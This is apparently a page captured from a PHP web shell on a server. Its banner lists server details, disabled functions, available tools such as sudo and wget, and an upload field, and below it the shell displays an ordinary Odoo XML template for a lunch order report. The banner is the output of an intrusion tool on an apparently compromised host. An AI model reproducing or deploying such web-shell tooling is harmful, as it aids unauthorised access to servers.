Server IP : 127.0.0.2 / Your IP : 18.116.36.23 Web Server : Apache/2.4.18 (Ubuntu) System : User : www-data ( ) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /opt/odoo/addons/lunch/report/ |
Upload File : |
<?xml version="1.0" encoding="utf-8"?> <odoo> <template id="report_lunch_order"> <t t-call="report.html_container"> <t t-call="report.external_layout"> <div class="page"> <div class="oe_structure"/> <div class="row"> <div class="col-xs-5 col-xs-offset-7"> <div t-field="user.partner_id" t-options='{"widget": "contact", "fields": ["address", "name"], "no_marker": True}' /> </div> </div> <h2>Lunch Order</h2> <table class="table table-condensed"> <thead> <tr> <th>Name/Date</th> <th>Order</th> <th>Description</th> <th class="text-right">Unit Price</th> </tr> </thead> <tbody> <t t-foreach="docs.read_group([('id', 'in', docs.ids)],['user_id'],['user_id'])" t-as="o"> <t t-set="user" t-value="user.browse(o['user_id'][0])"/> <t t-set="lines" t-value="docs.search([('user_id', '=', user.id), ('id', 'in', docs.ids)])"/> <tr> <td colspan="2"> <strong t-field="user.name"/> </td> <td class="text-right" colspan="2"> <strong> <span t-esc="sum(line.price for line in lines)"/> <span t-field="user.company_id.currency_id.symbol"/> </strong> </td> </tr> <tr t-foreach="lines" t-as="line"> <td> <span t-field="line.date"></span> </td> <td> <span t-field="line.product_id.name"/> </td> <td> <span t-field="line.note"/> </td> <td class="text-right"> <span t-field="line.price" t-options='{"widget": "monetary", "display_currency": user.company_id.currency_id}'/> </td> </tr> </t> </tbody> </table> <div class="row"> <div class="col-xs-4 pull-right"> <table class="table table-condensed"> <tr class="border-black"> <td><strong>Total</strong></td> <td class="text-right"> <span t-esc="sum([line.price for line in docs]) or 0.0"/> <span t-field="user.company_id.currency_id.symbol"/> </td> </tr> </table> </div> </div> <div class="oe_structure"/> </div> </t> </t> </template> </odoo>